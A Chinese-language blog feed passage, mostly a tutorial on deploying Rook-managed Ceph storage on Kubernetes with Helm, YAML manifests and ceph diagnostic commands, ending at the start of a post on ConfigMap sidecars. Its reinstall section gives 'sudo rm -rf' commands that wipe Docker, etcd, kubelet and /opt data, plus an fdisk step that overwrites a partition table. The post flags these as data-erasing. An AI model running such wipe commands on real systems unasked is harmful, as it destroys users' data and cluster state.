&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/storage-classes/&#34; target=&#34;_blank&#34;&gt;StorageClass&lt;/a&gt;：由管理员创建，可以用来动态的创建存储卷和 PV。&lt;/p&gt;

&lt;p&gt;物理存储：实际连接和加载的存储卷。&lt;/p&gt;

&lt;p&gt;分布式存储系统是一个有效的解决有状态工作负载高可用问题的方案。Ceph 就是一个分布式存储系统，近年来其影响主键扩大。Rook 是一个编排器，能够支持包括 Ceph 在内的多种存储方案。Rook 简化了 Ceph 在 Kubernetes 集群中的部署过程。&lt;/p&gt;

&lt;p&gt;在生产环境中使用 Rook + Ceph 组合的用户正在日益增加，尤其是自建数据中心的用户，&lt;a href=&#34;https://www.cengn.ca/&#34; target=&#34;_blank&#34;&gt;CENGN&lt;/a&gt;、Gini、GPR 等很多组织都在进行评估。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rookceph1.png&#34; alt=&#34;images&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;ceph-是什么&#34;&gt;Ceph 是什么&lt;/h2&gt;

&lt;p&gt;Ceph 是一个分布式存储系统，具备大规模、高性能、无单点失败的特点。Ceph 是一个软件定义的系统，也就是说他可以运行在任何符合其要求的硬件之上。&lt;/p&gt;

&lt;p&gt;Ceph 包括多个组件：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ceph Monitors(MON)&lt;/strong&gt;：负责生成集群票选机制。所有的集群节点都会向 Mon 进行汇报，并在每次状态变更时进行共享信息。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ceph Object Store Devices(OSD)&lt;/strong&gt;：负责在本地文件系统保存对象，并通过网络提供访问。通常 OSD 守护进程会绑定在集群的一个物理盘上，Ceph 客户端直接和 OSD 打交道。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ceph Manager(MGR)&lt;/strong&gt;：提供额外的监控和界面给外部的监管系统使用。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reliable Autonomic Distributed Object Stores&lt;/strong&gt;：Ceph 存储集群的核心。这一层用于为存储数据提供一致性保障，执行数据复制、故障检测以及恢复等任务。&lt;/p&gt;

&lt;p&gt;为了在 Ceph 上进行读写，客户端首先要联系 MON，获取最新的集群地图，其中包含了集群拓扑以及数据存储位置的信息。Ceph 客户端使用集群地图来获知需要交互的 OSD，从而和特定 OSD 建立联系。&lt;/p&gt;

&lt;h2 id=&#34;rook-是什么&#34;&gt;Rook 是什么&lt;/h2&gt;

&lt;p&gt;Rook 是一个可以提供 Ceph 集群管理能力的 &lt;a href=&#34;https://coreos.com/blog/introducing-operators.html&#34; target=&#34;_blank&#34;&gt;Operator&lt;/a&gt;。Rook 使用 CRD 一个控制器来对 Ceph 之类的资源进行部署和管理。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rook-arch.png&#34; alt=&#34;rook arch&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Rook 包含多个组件：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rook Operator&lt;/strong&gt;：Rook 的核心组件，Rook Operator 是一个简单的容器，自动启动存储集群，并监控存储守护进程，来确保存储集群的健康。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rook Agent&lt;/strong&gt;：在每个存储节点上运行，并配置一个 FlexVolume 插件，和 Kubernetes 的存储卷控制框架进行集成。Agent 处理所有的存储操作，例如挂接网络存储设备、在主机上加载存储卷以及格式化文件系统等。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rook Discovers&lt;/strong&gt;：检测挂接到存储节点上的存储设备。&lt;/p&gt;

&lt;p&gt;Rook 还会用 Kubernetes Pod 的形式，部署 Ceph 的 MON、OSD 以及 MGR 守护进程。&lt;/p&gt;

&lt;p&gt;Rook Operator 让用户可以通过 CRD 的是用来创建和管理存储集群。每种资源都定义了自己的 CRD.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rook &lt;a href=&#34;https://rook.github.io/docs/rook/master/cluster-crd.html&#34; target=&#34;_blank&#34;&gt;Cluster&lt;/a&gt;&lt;/strong&gt;：提供了对存储机群的配置能力，用来提供块存储、对象存储以及共享文件系统。每个集群都有多个 Pool。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://rook.github.io/docs/rook/master/pool-crd.html&#34; target=&#34;_blank&#34;&gt;Pool&lt;/a&gt;&lt;/strong&gt;：为块存储提供支持。Pool 也是给文件和对象存储提供内部支持。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://rook.github.io/docs/rook/master/object-store-crd.html&#34; target=&#34;_blank&#34;&gt;Object Store&lt;/a&gt;&lt;/strong&gt;：用 S3 兼容接口开放存储服务。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;https://rook.github.io/docs/rook/master/filesystem-crd.html&#34; target=&#34;_blank&#34;&gt;File System&lt;/a&gt;&lt;/strong&gt;：为多个 Kubernetes Pod 提供共享存储。&lt;/p&gt;

&lt;h2 id=&#34;在-kubernetes-上部署-rook&#34;&gt;在 Kubernetes 上部署 Rook&lt;/h2&gt;

&lt;p&gt;下面我们会在 Kubernetes 上分步骤部署 Rook，并在同一集群中作为客户端来使用其存储服务。Ceph 需要额外的驱动来保存数据，因此建议提供一组独立的存储节点。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/rook-k8s.png&#34; alt=&#34;k8s and rook&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;准备工作&#34;&gt;准备工作&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Helm&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Kubernetes（启用 RBAC）&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;磁盘配置&#34;&gt;磁盘配置&lt;/h3&gt;

&lt;p&gt;这里假设在存储节点上配有未格式化的磁盘。为了提供最佳性能，你可能需要在单独的设备上启用 WAL（本文就不深入讨论了）。&lt;/p&gt;

&lt;h3 id=&#34;配置-flexvolume-如果需要&#34;&gt;配置 FlexVolume（如果需要）&lt;/h3&gt;

&lt;p&gt;Rook agent 使用 &lt;a href=&#34;https://github.com/kubernetes/community/blob/master/contributors/devel/flexvolume.md&#34; target=&#34;_blank&#34;&gt;FlexVolume&lt;/a&gt; 来和 Kubernetes 进行集成，从而进行存储操作。为了达成这一目标，Rook agent 要在每个节点部署 Rook FlexVolume。&lt;/p&gt;

&lt;p&gt;在一些情况下，FlexVolume 的缺省目录是只读的，例如 Rancher 和 CoreOS。在这种情况下就需要配置 Kubelet 使用不同的可写入的目录了。&lt;/p&gt;

&lt;p&gt;如果使用的是 Rancher Kubernetes Engine（RKE），可以用下面的方式配置 kubelet，然后使用 &lt;code&gt;rke up&lt;/code&gt; 应用配置。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kubelet:
  image: &amp;quot;&amp;quot;
  extra_args:
    volume-plugin-dir: /usr/libexec/kubernetes/kubelet-plugins/volume/exec
  extra_binds:
    - /usr/libexec/kubernetes/kubelet-plugins/volume/exec:/usr/libexec/kubernetes/kubelet-plugins/volume/exec
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;安装-rook-operator&#34;&gt;安装 Rook Operator&lt;/h3&gt;

&lt;p&gt;在 Helm 中加入 &lt;code&gt;Rook Charts&lt;/code&gt;。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;helm repo add rook-stable https://charts.rook.io/stable
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;安装 Rook Operator（当前版本为 v0.9.3）&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;helm install --name rook --namespace rook-ceph-system rook-stable/rook-ceph

$ kubectl get po -n rook-ceph-system -o wide
NAME                                  READY   STATUS    RESTARTS   AGE   IP              NODE                      NOMINATED NODE
rook-ceph-agent-gwl8s                 1/1     Running   0          35d   10.212.144.51   coo-r1-k8s-worker-st-01
rook-ceph-agent-lqkjl                 1/1     Running   0          35d   10.212.144.52   coo-r1-k8s-worker-st-02
rook-ceph-agent-x66sw                 1/1     Running   0          35d   10.212.144.53   coo-r1-k8s-worker-st-03
rook-ceph-operator-7d44ddfdcb-q5chh   1/1     Running   0          35d   10.244.8.3      coo-r1-k8s-worker-st-03
rook-discover-fmqrd                   1/1     Running   0          35d   10.244.7.5      coo-r1-k8s-worker-st-01
rook-discover-jlsv9                   1/1     Running   0          35d   10.244.6.3      coo-r1-k8s-worker-st-02
rook-discover-vt7mk                   1/1     Running   0          35d   10.244.8.4      coo-r1-k8s-worker-st-03
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Helm 会部署 Rook 的相关 Pod（rook-operator、rook-discover 以及 rook-agent），以及相关的 CRD。Discover Pod 会运行一个发现脚本，来查找挂接到 Kubernetes 存储节点上的本地存储设备。&lt;/p&gt;

&lt;p&gt;请注意，&lt;code&gt;rook-ceph-system&lt;/code&gt; 中的所有 Pod 都应该是 &lt;code&gt;Running&lt;/code&gt; 或者 &lt;code&gt;Completed&lt;/code&gt; 状态，不应存在 &lt;code&gt;restarts&lt;/code&gt; 或 &lt;code&gt;error&lt;/code&gt; 的情况。&lt;/p&gt;

&lt;h3 id=&#34;创建受-root-管理的-ceph-集群&#34;&gt;创建受 Root 管理的 Ceph 集群&lt;/h3&gt;

&lt;p&gt;下一步就是创建 Ceph 集群。在 &lt;a href=&#34;https://github.com/rook/rook&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;rook&lt;/code&gt; 源码&lt;/a&gt;中找到 &lt;code&gt;cluster/examples/kubernetes/ceph/cluster.yaml&lt;/code&gt;，进行查看和修改。集群 CRD 中定义了存储集群的内容。下面的命令就能够启动一个 Rook 集群：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl create -f cluster.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;要确认我们的 Rook 集群的工作状况，可以检查一下 &lt;code&gt;rook-ceph&lt;/code&gt; 命名空间中的 Pod 运行情况：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl get po -n rook-ceph -o wide
NAME                                                  READY   STATUS      RESTARTS   AGE   IP              NODE                      NOMINATED NODE
rook-ceph-mgr-a-bf78cdcb8-q4gpz                       1/1     Running     0          35d   10.244.7.7      coo-r1-k8s-worker-st-01
rook-ceph-mon-a-755d985488-72kzh                      1/1     Running     0          35d   10.244.7.6      coo-r1-k8s-worker-st-01
rook-ceph-mon-b-845c97f94b-h5jlp                      1/1     Running     0          35d   10.244.6.4      coo-r1-k8s-worker-st-02
rook-ceph-mon-c-68b495d97d-m524q                      1/1     Running     0          35d   10.244.8.7      coo-r1-k8s-worker-st-03
rook-ceph-osd-0-56b7b86b5b-kz882                      1/1     Running     0          35d   10.244.7.9      coo-r1-k8s-worker-st-01
rook-ceph-osd-1-6d9558b6bd-xlkzf                      1/1     Running     0          35d   10.244.6.6      coo-r1-k8s-worker-st-02
rook-ceph-osd-2-56bf4b6c64-2p9rp                      1/1     Running     0          35d   10.244.8.9      coo-r1-k8s-worker-st-03
rook-ceph-osd-3-86ccf5d69f-xzjmz                      1/1     Running     0          35d   10.244.7.10     coo-r1-k8s-worker-st-01
rook-ceph-osd-4-6f469fc877-bt799                      1/1     Running     0          35d   10.244.6.7      coo-r1-k8s-worker-st-02
rook-ceph-osd-5-6549cdf949-qbvnh                      1/1     Running     0          35d   10.244.7.11     coo-r1-k8s-worker-st-01
rook-ceph-osd-6-7f56d8cf95-qgd8p                      1/1     Running     0          35d   10.244.6.8      coo-r1-k8s-worker-st-02
rook-ceph-osd-7-55b6c5c8df-dnp4p                      1/1     Running     0          35d   10.244.8.11     coo-r1-k8s-worker-st-03
rook-ceph-osd-8-d6df7694-w2psw                        1/1     Running     0          35d   10.244.8.10     coo-r1-k8s-worker-st-03
rook-ceph-osd-prepare-coo-r1-k8s-worker-st-01-zbs6m   0/2     Completed   0          35d   10.244.7.8      coo-r1-k8s-worker-st-01
rook-ceph-osd-prepare-coo-r1-k8s-worker-st-02-sr2dm   0/2     Completed   0          35d   10.244.6.5      coo-r1-k8s-worker-st-02
rook-ceph-osd-prepare-coo-r1-k8s-worker-st-03-zzqmq   0/2     Completed   0          35d   10.244.8.8      coo-r1-k8s-worker-st-03
rook-ceph-tools-cb5655595-vq4vj                       1/1     Running     0          35d   10.212.144.53   coo-r1-k8s-worker-st-03
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 &lt;code&gt;mon&lt;/code&gt;、&lt;code&gt;osd-prepare&lt;/code&gt; 已经部署。&lt;code&gt;rook-ceph-osd-prepare&lt;/code&gt; 格式化了磁盘，准备了 OSD，并把 &lt;code&gt;osd&lt;/code&gt; Pod 加入了集群。&lt;/p&gt;

&lt;p&gt;Rook 还提供了一个 &lt;code&gt;toolkit&lt;/code&gt; 容器，其中包含了全套的 Ceph 客户端，用于测试和排错，运行下列命令即可安装：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;kubectl create -f toolkit.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;进入工具 Pod，就可以执行下面的内容了。&lt;/p&gt;

&lt;h3 id=&#34;集群配置&#34;&gt;集群配置&lt;/h3&gt;

&lt;p&gt;设置 Ceph 组件的资源：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;mgr:
    limits:
        cpu: &amp;quot;500m&amp;quot;
        memory: &amp;quot;1024Mi&amp;quot;
    requests:
        cpu: &amp;quot;500m&amp;quot;
        memory: &amp;quot;1024Mi&amp;quot;
mon:
    limits:
        cpu: &amp;quot;1&amp;quot;
        memory: &amp;quot;1024Mi&amp;quot;
    requests:
        cpu: &amp;quot;500m&amp;quot;
        memory: &amp;quot;1024Mi&amp;quot;
osd:
    limits:
        cpu: &amp;quot;1&amp;quot;
        memory: &amp;quot;2048Mi&amp;quot;
    requests:
        cpu: &amp;quot;500m&amp;quot;
        memory: &amp;quot;1024Mi&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;建议尽量为所有存储节点分配同样的 CPU、内存和磁盘。这样就可以使用 &lt;code&gt;deviceFilter&lt;/code&gt; 了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;storage:
  useAllNodes: true
  useAllDevices: false
  deviceFilter: sd[a-z]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里使用正则表达式 &lt;code&gt;/dev/sd[a-z]&lt;/code&gt; 进行设备匹配。&lt;/p&gt;

&lt;h3 id=&#34;创建-ceph-副本池以及-kubernetes-storageclass&#34;&gt;创建 Ceph 副本池以及 Kubernetes StorageClass&lt;/h3&gt;

&lt;p&gt;可以用 CRD 来定义 Pool。Rook 提供了两种机制来维持 OSD：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;副本&lt;/strong&gt;：缺省选项，每个对象都会根据 &lt;code&gt;spec.replicated.size&lt;/code&gt; 在多个磁盘上进行复制。建议非生产环境至少 2 个副本，生产环境至少 3 个。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Erasure Code&lt;/strong&gt;：是一种较为节约的方式。EC 把数据拆分 n 段（&lt;code&gt;spec.erasureCoded.dataChunks&lt;/code&gt;），再加入 k 个代码段（&lt;code&gt;spec.erasureCoded.codingChunks&lt;/code&gt;），用分布的方式把 n+k 段数据保存在磁盘上。这种情况下 Ceph 能够隔离 &lt;code&gt;k&lt;/code&gt; 个 OSD 的损失。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# pool with replication enabled
apiVersion: ceph.rook.io/v1
kind: CephBlockPool
metadata:
  name: replicated-metadata-pool
  namespace: rook-ceph
spec:
  replicated:
    size: 2
---
# pool with EC enabled
apiVersion: ceph.rook.io/v1
kind: CephBlockPool
metadata:
  name: ec-data-pool
  namespace: rook-ceph
spec:
  erasureCoded:
    dataChunks: 2
    codingChunks: 1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;本文中使用副本的方式来保证数据冗余。&lt;/p&gt;

&lt;p&gt;Kubernetes 环境里，StorageClass 是动态存储配置的核心。下面的例子定义了一个 Ceph 块存储的 StorageClass：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
   name: rook-ceph-block
provisioner: ceph.rook.io/block
parameters:
  # The replicated pool as the `blockPool` parameter
  blockPool: replicated-metadata-pool
  # The erasure coded pool must be set as the `dataBlockPool` parameter below.
  dataBlockPool: ec-data-pool
  clusterNamespace: rook-ceph
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl&lt;/code&gt; 提交 &lt;code&gt;storageclass.yaml&lt;/code&gt; 以及 &lt;code&gt;cluster.yaml&lt;/code&gt;，就完成了 Ceph 副本和 StorageClass 的创建。&lt;/p&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;使用上面创建的 &lt;code&gt;StorageClass&lt;/code&gt;，新建一个 PVC，就可以完成测试了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: mysql-pv-claim
  labels:
    app: wordpress
spec:
  storageClassName: rook-ceph-block
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 5Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;检查新建的 PVC，看状态是不是会变成 &lt;code&gt;Bounded&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ kubectl get pvc
NAMESPACE       NAME                                     STATUS    VOLUME                                     CAPACITY   ACCESS MODES   STORAGECLASS      AGE
default   mysql-pv-claim                                 Bound     pvc-f1af6df6-474a-11e9-8360-02006e76001e   8Gi        RWO            rook-ceph-block   1m
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;ceph-常用命令&#34;&gt;Ceph 常用命令&lt;/h2&gt;

&lt;p&gt;在工具箱 Pod 中，可以使用命令和 Ceph 集群进行交互。下面是一个例子。&lt;/p&gt;

&lt;h3 id=&#34;查看集群状态&#34;&gt;查看集群状态&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ ceph status
  cluster:
    id:     62e69dc1-efb5-42d9-a7bc-1ea6cfbd467f
    health: HEALTH_OK

  services:
    mon: 3 daemons, quorum c,a,b
    mgr: a(active)
    osd: 9 osds: 9 up, 9 in

  data:
    pools:   1 pools, 100 pgs
    objects: 236  objects, 406 MiB
    usage:   10 GiB used, 1.7 TiB / 1.8 TiB avail
    pgs:     100 active+clean

  io:
    client:   38 KiB/s wr, 0 op/s rd, 3 op/s wr
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;健康情况&#34;&gt;健康情况&lt;/h3&gt;

&lt;p&gt;用来查看是否有物理损坏。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ceph health detail
HEALTH_OK
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;所有-osd-的状态&#34;&gt;所有 OSD 的状态&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ ceph osd status
+----+-------------------------+-------+-------+--------+---------+--------+---------+-----------+
| id |           host          |  used | avail | wr ops | wr data | rd ops | rd data |   state   |
+----+-------------------------+-------+-------+--------+---------+--------+---------+-----------+
| 0  | coo-r1-k8s-worker-st-01 | 1149M |  198G |    0   |  13.6k  |    0   |     0   | exists,up |
| 1  | coo-r1-k8s-worker-st-02 | 1157M |  198G |    0   |     0   |    0   |     0   | exists,up |
| 2  | coo-r1-k8s-worker-st-03 | 1143M |  198G |    0   |     0   |    0   |     0   | exists,up |
| 3  | coo-r1-k8s-worker-st-01 | 1128M |  198G |    0   |     0   |    0   |     0   | exists,up |
| 4  | coo-r1-k8s-worker-st-02 | 1180M |  198G |    4   |  37.6k  |    0   |     0   | exists,up |
| 5  | coo-r1-k8s-worker-st-01 | 1169M |  198G |    1   |  12.0k  |    0   |     0   | exists,up |
| 6  | coo-r1-k8s-worker-st-02 | 1109M |  198G |    0   |     0   |    0   |     0   | exists,up |
| 7  | coo-r1-k8s-worker-st-03 | 1160M |  198G |    0   |  1638   |    0   |     0   | exists,up |
| 8  | coo-r1-k8s-worker-st-03 | 1143M |  198G |    0   |  3276   |    0   |     0   | exists,up |
+----+-------------------------+-------+-------+--------+---------+--------+---------+-----------+
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;ceph-pool-详情&#34;&gt;Ceph Pool 详情&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ ceph osd pool ls detail
pool 1 &#39;replicapool&#39; replicated size 3 min_size 1 crush_rule 1 object_hash rjenkins pg_num 100 pgp_num 100 last_change 37 flags hashpspool,selfmanaged_snaps stripe_width 0 application rbd
removed_snaps [1~3]
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;显示-pool-和总体用量&#34;&gt;显示 Pool 和总体用量&lt;/h3&gt;

&lt;pre&gt;&lt;code&gt;$ rados df
POOL_NAME      USED OBJECTS CLONES COPIES MISSING_ON_PRIMARY UNFOUND DEGRADED RD_OPS      RD  WR_OPS     WR
replicapool 1.4 GiB     575      0   1150                  0       0        0   1224 2.4 MiB 1698291 84 GiB

total_objects    575
total_used       5.6 GiB
total_avail      294 GiB
total_space      300 GiB
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;重新安装&#34;&gt;重新安装&lt;/h2&gt;

&lt;h3 id=&#34;包括-rke-的完全重新部署&#34;&gt;包括 RKE 的完全重新部署&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;下面的步骤会擦除数据，不建议在生产集群上使用。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Rook 有很多数据保存在本地存储节点，重新部署比较困难。如果使用的是 RKE，在 Worker 和 Master 节点上清除数据，然后重新安装 RKE。&lt;/p&gt;

&lt;p&gt;删除所有 Docker、Rook 和 RKE 及其相关组件：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;# remove rke docker and everything
sudo apt -y purge docker-ce \
&amp;amp;&amp;amp; sudo apt -y autoremove \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/docker \
&amp;amp;&amp;amp; sudo rm -rf /opt/* \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/rook \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/etcd \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/cni \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/containerd \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/calico \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/kubelet \
&amp;amp;&amp;amp; sudo rm -rf /var/lib/rancher
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果是一个运行中的服务器，完成这一命令之后建议重新启动，然后重复执行一次，最后再重新安装（包括 Docker）。&lt;/p&gt;

&lt;p&gt;还需要格式化 Rook/Ceph 使用的磁盘。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ sudo fdisk /dev/sdb
Welcome to fdisk (util-linux 2.29.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Device /dev/sdb already contains a LVM2_member signature.
The signature will be removed by a write command.

Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0xa24124a7.

Command (m for help):
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;简单的输入 &lt;code&gt;w&lt;/code&gt;，然后回车，就会覆盖分区表，让磁盘恢复可用。这一动作完成之后也建议重新启动。&lt;/p&gt;

&lt;h3 id=&#34;只重装-rook&#34;&gt;只重装 Rook&lt;/h3&gt;

&lt;p&gt;删除 &lt;code&gt;rook-ceph&lt;/code&gt; 以及 &lt;code&gt;rook-ceph-system&lt;/code&gt; 命名空间会造成很大麻烦。要关停 Ceph 集群：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;删除 Rook 集群的相关资源（Pool、StorageClass、PVC 等等）&lt;/p&gt;

&lt;p&gt;kubectl delete -n rook-ceph cephblockpool replicapool
kubectl delete storageclass rook-ceph-block&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;删除 cluster CRD 和 Helm release&lt;/p&gt;

&lt;p&gt;kubectl -n rook-ceph patch clusters.ceph.rook.io rook-ceph -p ‘{“metadata”:{“finalizers”: []}}’ –type=merge
kubectl -n rook-ceph delete cephcluster rook-ceph
helm delete –purge rook
kubectl delete namespace rook-ceph&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;连接到每个节点上删除 &lt;code&gt;/var/lib/rook&lt;/code&gt; 或者 &lt;code&gt;dataDirHostPath&lt;/code&gt; 指定的路径。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果出现任何问题，可以参考 &lt;a href=&#34;https://github.com/rook/rook/blob/master/Documentation/ceph-teardown.md#troubleshooting&#34; target=&#34;_blank&#34;&gt;Trouble shooting 页面&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;检测&#34;&gt;检测&lt;/h2&gt;

&lt;h3 id=&#34;physical-group-修复&#34;&gt;Physical Group 修复&lt;/h3&gt;

&lt;p&gt;Ceph 偶尔会报告 Physical Group 需要修复，可以在工具箱 Pod 中完成：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ceph health detail
HEALTH_ERR
1 pgs inconsistent; 2 scrub errors
pg 0.6 is active+clean+inconsistent, acting [0,1,2] 2 scrub errors
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的输出说明需要进行修复，执行下列命令：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ceph pg repair 0.6
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个命令会启动一个修复过程，几分钟之后，会恢复到 &lt;code&gt;HEALTH_OK&lt;/code&gt; 状态。&lt;/p&gt;

&lt;h3 id=&#34;修改副本数量&#34;&gt;修改副本数量&lt;/h3&gt;

&lt;p&gt;如果副本数量设置有误，可以在运行中的副本池中修改设置，在工具箱 Pod 中执行：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ceph osd pool set replicapool size 3
ceph osd pool set replicapool min_size 3
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;修改-pg-数量&#34;&gt;修改 PG 数量&lt;/h3&gt;

&lt;p&gt;要修改副本池中的 PG 数，可以使用：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ceph osd pool set replicapool pg_num 256
ceph osd pool set replicapool pgp_num 256
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;参考&#34;&gt;参考&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/rook/rook/blob/master/Documentation/ceph-toolbox.md&#34; target=&#34;_blank&#34;&gt;https://github.com/rook/rook/blob/master/Documentation/ceph-toolbox.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://docs.ceph.com/docs/mimic/rados/troubleshooting/troubleshooting-pg/&#34; target=&#34;_blank&#34;&gt;http://docs.ceph.com/docs/mimic/rados/troubleshooting/troubleshooting-pg/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://docs.ceph.com/docs/jewel/rados/operations/placement-groups/#set-the-number-of-placement-groups&#34; target=&#34;_blank&#34;&gt;http://docs.ceph.com/docs/jewel/rados/operations/placement-groups/#set-the-number-of-placement-groups&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://accelazh.github.io/ceph/Ceph-Performance-Tuning-Checklist&#34; target=&#34;_blank&#34;&gt;http://accelazh.github.io/ceph/Ceph-Performance-Tuning-Checklist&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/rook/rook/blob/master/Documentation/advanced-configuration.md&#34; target=&#34;_blank&#34;&gt;https://github.com/rook/rook/blob/master/Documentation/advanced-configuration.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://github.com/rook/rook/blob/master/Documentation/common-issues.md&#34; target=&#34;_blank&#34;&gt;https://github.com/rook/rook/blob/master/Documentation/common-issues.md&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://docs.ceph.com/docs/giant/rados/troubleshooting/troubleshooting-osd/&#34; target=&#34;_blank&#34;&gt;http://docs.ceph.com/docs/giant/rados/troubleshooting/troubleshooting-osd/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>用 Sidecar 应用 Configmap 更新</title>
      <link>/post/refresh-cm-with-signal/</link>
      <pubDate>Thu, 16 May 2019 01:52:01 +0800</pubDate>
      <guid>/post/refresh-cm-with-signal/</guid>
      <description>

&lt;p&gt;在 Kubernetes 的使用过程中，很多人会使用 Configmap 资源来进行配置文件的加载。Configmap 对象是支持热更新的，也就是说，对 Configmap 的变更，会同时反应到加载该 Configmap 的 Pod 之中。但美中不足的是，很多应用都不会检测配置文件的更新，因此就算是通过对 Configmap 的变更，完成了配置文件的修改，应用还是无法做出即时的响应的。可以在外部进行滚动更新；或者改写业务容器，监控文件变化之后重新启动业务进程。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 1.10 中新增的 Pod 内共享进程命名空间的功能，给这个问题带来了一点新思路：做一个 Sidecar 用于对配置文件进行监控，发现文件变化之后，发送重新载入的信号给业务进程，要求业务进程自行刷新。这样就无需对业务容器所在镜像进行修改了。&lt;/p&gt;

&lt;blockquote&gt;
